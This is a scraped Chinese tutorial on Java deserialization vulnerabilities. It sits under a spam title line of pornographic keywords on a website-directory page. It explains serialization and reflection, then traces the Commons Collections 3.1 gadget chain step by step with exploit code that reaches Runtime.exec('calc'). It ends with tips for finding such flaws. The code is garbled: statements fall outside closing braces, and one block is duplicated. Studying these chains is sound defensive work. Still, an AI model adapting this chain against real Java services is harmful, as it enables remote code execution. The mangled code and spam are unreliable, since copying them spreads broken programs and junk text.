日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

0×01:序列化基本概念

  • 序列化:將對(duì)象寫入IO流中
  • 反序列化:從IO流中恢復(fù)對(duì)象
  • 意義:序列化機(jī)制允許將實(shí)現(xiàn)序列化的JAVA對(duì)象轉(zhuǎn)換位字節(jié)序列,這些字節(jié)序列可以保存在磁盤上,或通過網(wǎng)絡(luò)傳輸,以達(dá)到以后恢復(fù)成原來的對(duì)象。序列化機(jī)制使得對(duì)象可以脫離程序的運(yùn)行而獨(dú)立存在。

0×02:Java中的反射機(jī)制

1. 反射機(jī)制的作用: 通過java語言中的反射機(jī)制可以操作字節(jié)碼文件(可以讀和修改字節(jié)碼文件)

2. 反射機(jī)制的相關(guān)類在哪個(gè)包下java.lang.reflect.*;

3. 反射機(jī)制的相關(guān)類有哪些:

java.lang.Class 代表字節(jié)碼文件,代表整個(gè)類

java.lang.reflect.Method 代表字節(jié)碼中的方法字節(jié)碼,代表類中的方法
java.lang.reflect.Constructor 代表字節(jié)碼中的構(gòu)造方法字節(jié)碼,代表類中的構(gòu)造方法java.lang.reflect.Field 代表字節(jié)碼中的屬性字節(jié)碼,代表類中的屬性。

我們先看最主要的部分——執(zhí)行系統(tǒng)命令

public class N0Tai1{
    public static void main(String[] args) throws Exception{
} }
Runtime calc = Runtime.getRuntime(); calc.exec("calc"); //Runtime.getRuntime().calc.exec("calc")

相應(yīng)的反射代碼如下:

public class N0Tai1{
    public static void main(String[] args) throws Exception{
} }
Class c = Class.forName("java.lang.Runtime"); //c代表Runtime.class字節(jié)碼文件,c代表Runtime類型
Object obj = c.getMethod("getRuntime", null).invoke(c,null);
/*
* 通過getMethod對(duì)getRuntime這個(gè)方法進(jìn)行實(shí)例化
* getRuntime并不需要傳參,所以傳參類型為null,后面的invoke實(shí)現(xiàn)getRuntime
* */
String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
/*
* getMethod對(duì)exec這個(gè)方法進(jìn)行實(shí)例化
* exec需要傳一個(gè)String類型的字符串或者String類型的數(shù)組,然后invoke實(shí)現(xiàn)exec方法 * */

0×03:序列化的實(shí)現(xiàn)方式

序列化概述

如果需要將某個(gè)對(duì)象保存到磁盤上或者通過網(wǎng)絡(luò)傳輸,那么這個(gè)類應(yīng)該實(shí)現(xiàn) Serializable 接口或者Externalizable接口之一。

使用到JDK中關(guān)鍵類 :

ObjectOutputStream (對(duì)象輸出流) 和 ObjectInputStream (對(duì)象輸入流)ObjectOutputStream 類中:通過使用 writeObject (Object object) 方法,將對(duì)象以二進(jìn)制格式進(jìn)行寫入。

ObjectInputStream類中:

通過使用 readObject() 方法,從輸入流中讀取二進(jìn)制流,轉(zhuǎn)換成對(duì)象。

Transient關(guān)鍵字序列化的時(shí)候不會(huì)序列化Transient關(guān)鍵字修飾的變量,這個(gè)關(guān)鍵字不能修飾類和方法Static

靜態(tài)變量也不會(huì)被序列化

serialVersionUID

這里是指序列化的版本號(hào),版本不一致會(huì)導(dǎo)致拋出錯(cuò)誤,并且拒絕載入序列化與反序列化樣例:

//Person.java
package com.n0tai1.java.serialize;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream; import com.n0tai1.java.serialize.Student;
public class Person{
    public static void main(String[] args) throws IOException {
Student s = new Student(19,"ZAAAA"); System.out.println(s.Students()); System.out.println(s.toString()); ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\flag.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
//Student.java
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class Student implements Serializable {
    private static final long serialVersionUID = 5407396955208161433L;
    private int age;
     private transient String name;
    public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年齡: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年齡: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException 
{
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}
現(xiàn)在已經(jīng)知道如何序列化和反序列化了,我們把剛剛寫的彈計(jì)算器代碼序列化處理一下package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
    public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}private transient String name;
    public Student(int age, String name){
this.age = age;
this.name = name; }
public String Students(){
return "姓名: "+ this.name + " 年齡: " + this.age;
}
@Override
public String toString() {
return "姓名: "+ this.name + " 年齡: " + this.age;
} }
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.Student;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\flag.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

現(xiàn)在已經(jīng)知道如何序列化和反序列化了,我們把剛剛寫的彈計(jì)算器代碼序列化處理一下

package com.n0tai1.java.serialize;
import com.n0tai1.java.serialize.ExecTest; import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class Serializable{
    public static void main(String[] args) throws Exception {
ExecTest s = new ExecTest();
s.ExecTest();
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream("I:\project\Java\JavaSePro\src\serialize.txt")); oos.writeObject(s);
oos.flush();
oos.close(); }
}
package com.n0tai1.java.serialize;
import java.io.Serializable;
public class ExecTest implements Serializable {
    public void ExecTest() throws Exception{
} }
Class c = Class.forName("java.lang.Runtime");
Object obj = c.getMethod("getRuntime", null).invoke(null); String[] n0tai1 = {"calc.exe"}; c.getMethod("exec",String.class).invoke(obj,n0tai1);
//unserialize.java
package com.n0tai1.java.serialize;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import com.n0tai1.java.serialize.ExecTest;
public class unserialize{
    public static void main(String[] args) throws IOException,
ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new
FileInputStream("I:\project\Java\JavaSePro\src\serialize.txt")); Object obj = ois.readObject();
System.out.println(obj);
ois.close(); }
}

但是這樣測試后發(fā)現(xiàn),反序列操作后,不能彈出計(jì)算器嗎,因?yàn)镽untime類并沒有實(shí)現(xiàn) Serializable接口

commons-collections3.1源碼分析

漏洞組件
:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

參考鏈接
:https://security.tencent.com/index.php/blog/msg/97

我們直接入正題

詳解Java反序列化漏洞

 

我們可以通過

Map tansformedMap = TransformedMap.decorate(map,keyTransformer,valueTransformer)

來獲得一個(gè)TransformedMap類的實(shí)例進(jìn)而調(diào)用到TransformedMap的構(gòu)造方法

詳解Java反序列化漏洞

 

這里會(huì)調(diào)用到super(map),會(huì)調(diào)用到基類的有參構(gòu)造

詳解Java反序列化漏洞

 

繼續(xù)調(diào)用基類有參構(gòu)造

詳解Java反序列化漏洞

 

TransformedMap.decorate會(huì)對(duì)map類的數(shù)據(jù)結(jié)構(gòu)進(jìn)行轉(zhuǎn)化

TransformedMap.decorate方法,預(yù)期是對(duì)Map類的數(shù)據(jù)結(jié)構(gòu)進(jìn)行轉(zhuǎn)化,該方法有三個(gè)參數(shù)。


第一個(gè)參數(shù)為待轉(zhuǎn)化的Map對(duì)象
第二個(gè)參數(shù)為Map對(duì)象內(nèi)的key要經(jīng)過的轉(zhuǎn)化方法(可為單個(gè)方法,也可為鏈,也可為空)
第三個(gè)參數(shù)為Map對(duì)象內(nèi)的value要經(jīng)過的轉(zhuǎn)化方法

我們看今天的第一個(gè)主角ChainedTransformer.class,我們可以創(chuàng)建一個(gè)Transformer類型的數(shù)組,構(gòu)造出ChainedTransformer,當(dāng)觸發(fā)的時(shí)候ChainedTransformer可以將閑散的數(shù)據(jù)組合

詳解Java反序列化漏洞

 

我們看今天的第二個(gè)主角InvokerTransformer.class,我們可以給創(chuàng)建一個(gè)Transformer類型的數(shù)組, 然后對(duì)InvokerTransformer進(jìn)行實(shí)例化

詳解Java反序列化漏洞

 

可以看到:

InvokerTransformer的transform中出現(xiàn)了 getMethod().invoke() 這種形式的代碼,我們 如果可以控制傳參,就可以RCE

那我們?nèi)绾握{(diào)用到InvokerTransformer和ChainedTransformer的transform呢?

這里我們需要用到:


AbstractInputCheckedMapDecorator下MapEntry下的setValue

詳解Java反序列化漏洞

 


詳解Java反序列化漏洞

 


詳解Java反序列化漏洞

 

只要讓iTransformers[i]為InvokerTransformer這個(gè)類的對(duì)象就可以調(diào)用到InvokerTransformer的transform

那我們?nèi)绾斡|發(fā)呢? 在進(jìn)行反序列化的時(shí)候我們會(huì)調(diào)用ObjectInputStream類的readObject()方法,如果反序列化類被重寫

readObject(),那在反序列化的時(shí)候Java會(huì)優(yōu)先調(diào)用重寫的readObject()方法,這樣就有了入口點(diǎn)

Payload分析

正文之前,在這之前說下我對(duì)getMethod和invoke這兩個(gè)方法的理解

getMethod

返回一個(gè)Method對(duì)象,getMethod獲取的是某個(gè)類下的某個(gè)方法,第一個(gè)參數(shù)是方法名,第二個(gè)參數(shù) 要看這個(gè)方法需要什么參數(shù),如果需要字符串,那我們就寫String.class,如果不需要傳參,則用null即可

invoke

調(diào)用包裝在當(dāng)前Method對(duì)象中的方法 ,第一個(gè)參數(shù)是obj,也就是實(shí)例化的對(duì)象,第二個(gè)參數(shù)是方法(這里的方法是指getMethod第一個(gè)參數(shù)對(duì)應(yīng)的方法)需要的參數(shù)

分析

我們直接拿ysoserial中的cc1的鏈子來對(duì)照著寫一個(gè)(這里的代碼借鑒了一位大佬的...但是網(wǎng)址忘記了....)

import org.Apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.Transformer; import java.util.HashMap;
import java.util.Map;
public class test{
    public static void main(String[] args)
    {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new
Object[] { "calc" }) };
        Transformer transformerChain = new ChainedTransformer(transformers);
} }
Map innermap = new HashMap();
innermap.put("name", "hello");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain); Map.Entry elEntry = ( Map.Entry ) outmap.entrySet().iterator().next(); elEntry.setValue("hahah");

我們直接IDEA拉出來打個(gè)斷點(diǎn)開始瘋狂debug

詳解Java反序列化漏洞

 

先跟這個(gè)實(shí)例化對(duì)象,看看發(fā)生了什么大事件

new ConstantTransformer()部分

詳解Java反序列化漏洞

 

這里傳進(jìn)來一個(gè)Runtime.class字節(jié)碼文件,然后賦值給了被private和final修飾的iConstant變量,我們看一下這個(gè)變量

詳解Java反序列化漏洞

 

new InvokerTransformer()部分

繼續(xù)往下跟,跟到InvokerTranformer類的構(gòu)造方法

詳解Java反序列化漏洞

 


詳解Java反序列化漏洞

 

第一個(gè)參數(shù)是getMethod的作用是獲取對(duì)象的方法

第二個(gè)參數(shù)是兩個(gè)字節(jié)碼文件String.class和Class.class

第三個(gè)參數(shù)是Runtime.class下的靜態(tài)方法

詳解Java反序列化漏洞

 

繼續(xù)往下debug,依然是InvokerTransformer

詳解Java反序列化漏洞

 

第一個(gè)參數(shù)是invoke的作用是讓這個(gè)方法執(zhí)行

第二個(gè)參數(shù)是兩個(gè)字節(jié)碼文件Object.class和Object.class

第三個(gè)參數(shù)是一個(gè)Object類型的數(shù)組,為空

詳解Java反序列化漏洞

 

繼續(xù)往下跟

詳解Java反序列化漏洞

 

第一個(gè)參數(shù)是exec的作用是執(zhí)行系統(tǒng)命令,這個(gè)方法是Runtime.class下的

第二個(gè)參數(shù)是字節(jié)碼文件String.class

第三個(gè)參數(shù)是Object類型的數(shù)組,里面只有一個(gè)元素calc(這里就是調(diào)用的地方)

new ChainedTransformer部分

詳解Java反序列化漏洞

 

這里把這個(gè)有四個(gè)對(duì)象的數(shù)組傳入了ChainedTransformer中的有參構(gòu)造方法處理

詳解Java反序列化漏洞

 

賦值給了iTransformers

new HashMap()部分

詳解Java反序列化漏洞

 

這里定義了一個(gè)底層為哈希表的數(shù)組,然后用put方法添加了key和value

TransformedMap.decorate靜態(tài)方法部分

詳解Java反序列化漏洞

 

在返回值中new了一個(gè)TransformedMap,調(diào)用了自身的有參構(gòu)造方法

第一個(gè)參數(shù)接受的是我們put方法寫入map數(shù)組的key和value

第二個(gè)參數(shù)接受的是null

第三個(gè)參數(shù)接受的是transformerChain,也就是4個(gè)對(duì)象組成的數(shù)組

詳解Java反序列化漏洞

 

調(diào)用了父類的構(gòu)造方法,并且傳了一個(gè)map

詳解Java反序列化漏洞

 

繼續(xù)調(diào)用父類的構(gòu)造方法,仍傳的是map

詳解Java反序列化漏洞

 

繼續(xù)往下

詳解Java反序列化漏洞

 

Map.Entry學(xué)習(xí)和詳解

將output這個(gè)map類型的數(shù)組強(qiáng)轉(zhuǎn)到Map.Entry類型的數(shù)組中,并且用next獲取一組key和value

然后后面調(diào)用setValue

詳解Java反序列化漏洞

 

調(diào)用了checkSetValue

詳解Java反序列化漏洞

 

調(diào)用transform

詳解Java反序列化漏洞

 

這里的就開始遍歷我們之前寫入的4個(gè)實(shí)例化對(duì)象,我們來看最終觸發(fā)漏洞的關(guān)鍵地方

第一次遍歷

詳解Java反序列化漏洞

 

返回的是Runtime.class
第二次遍歷

詳解Java反序列化漏洞

 

給cls了一個(gè)Runtime.class字節(jié)碼文件,cls現(xiàn)在是Runtime類型,然后getMethod獲得一個(gè)方法對(duì)象, 方法名為getMethod,指定的傳參類型為String和Object,之后調(diào)用invoke實(shí)現(xiàn)了getMethod方法并且 傳參是getRuntime

Class cls = Class.forName("java.lang.Runtime")
Method method = cls.getMethod("getMethod",new Class[] { String.class, Class[].class }).invoke(cls,"getRuntime");
//等價(jià)于
cls.getMethod("getRuntime",null).invoke(cls.null);
//等價(jià)于
cls.getMethod("getRuntime",null);

第三次遍歷

詳解Java反序列化漏洞

 

getMethod獲得一個(gè)方法對(duì)象,方法名為invoke,指定的傳參類型為Object,然后調(diào)用invoke方法實(shí)現(xiàn)了invoke方法,傳參為null

cls.getMethod("invoke",new Class[] { Object.class, Object[].class }).invoke(cls,null);
//等價(jià)于
cls.invoke(null,null);

第四次遍歷

詳解Java反序列化漏洞

 

getMethod獲得一個(gè)方法對(duì)象,方法名為exec,指定傳參類型為String,然后通過invoke方法實(shí)現(xiàn)了exec方法,傳參為calc

cls.getMethod("exec",new Class[] { String.class }).invoke(cls,'calc');//等價(jià)于
cls.exec("calc");

總結(jié)一下思路:

InvokerTransformer為漏洞觸發(fā)處ChianedTransformer為一個(gè)容器,作用是幫我們把InvokerTransformer組成一個(gè)有序的數(shù)組,讓其有序遍歷

Transformer為一個(gè)接口類,這里寫法單純是多態(tài)而已....

1.利用setValue觸發(fā)
AbstractInputCheckedMapDecorator下的setValue進(jìn)而觸發(fā)InvokerTransformer的transform這個(gè)漏洞觸發(fā)點(diǎn)

2.第二次遍歷生成的相當(dāng)于一個(gè)未執(zhí)行的Runtime.getRuntime(),第三次遍歷相當(dāng)于將Runtime.getRuntime()執(zhí)行,第四次循環(huán)調(diào)用了runtime下的方法exec

0×04:如何發(fā)現(xiàn)Java反序列化漏洞

  • 白盒

可以檢索源碼中對(duì)反序列化函數(shù)的調(diào)用,例如:

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMApper.readValue
JSON.parseobject

確定輸入點(diǎn)后,檢查class path中是否有危險(xiǎn)庫,例如上文分析的Apache Commons Collections,若有危險(xiǎn)庫直接用ysoserial梭哈

弱無危險(xiǎn)庫,則檢查是否有涉及代碼執(zhí)行的部分,查看是否有代碼編寫上的bug

  • 黑盒

我們可以通過抓包這種手段來檢測是否有可控輸入點(diǎn),序列化數(shù)據(jù)通常以ACED開頭,之后兩個(gè)字節(jié)為版本號(hào),一般情況是0005,某些情況下可能是更高的數(shù)字

如果不確定字符串是否為序列化數(shù)據(jù),我們可以利用大牛寫好的工具SerializationDumper來進(jìn)行檢測,用法如下:

java -jar SerializationDumper-v1.0.jar aced000573720008456d706c6f796565eae11e5afcd287c50200024c00086964656e746966797400 124c6a6176612f6c616e672f537472696e673b4c00046e616d6571007e0001787074000d47656e65 72616c207374616666740009e59198e5b7a5e794b2

關(guān)于摘星實(shí)驗(yàn)室:

摘星實(shí)驗(yàn)室是星云博創(chuàng)旗下專職負(fù)責(zé)技術(shù)研究的安全實(shí)驗(yàn)室,成立于2020年5月,團(tuán)隊(duì)核心成員均具備多年安全研究從業(yè)經(jīng)驗(yàn)。實(shí)驗(yàn)室主要致力于攻防技術(shù)人員培養(yǎng)、攻防技術(shù)研究、安全領(lǐng)域前瞻性技術(shù)研究,為公司產(chǎn)品研發(fā)、安全項(xiàng)目及客戶服務(wù)提供強(qiáng)有力的支撐。在技術(shù)研究方面,摘星實(shí)驗(yàn)室主攻漏洞挖掘及新型攻擊,并將重點(diǎn)關(guān)注攻擊溯源與黑客行為分析;與此同時(shí),實(shí)驗(yàn)室還將持續(xù)關(guān)注對(duì)工業(yè)互聯(lián)網(wǎng)領(lǐng)域的技術(shù)研究。

實(shí)驗(yàn)室成立以來,已通過CNVD/CNNVD累計(jì)發(fā)布安全漏洞300余個(gè),是CNVD和CNNVD的漏洞挖掘支撐單位,在安全漏洞預(yù)警、事件通報(bào)處置等方面均得到了行業(yè)權(quán)威機(jī)構(gòu)的認(rèn)可。

分享到:
標(biāo)簽:Java
用戶無頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績?cè)u(píng)定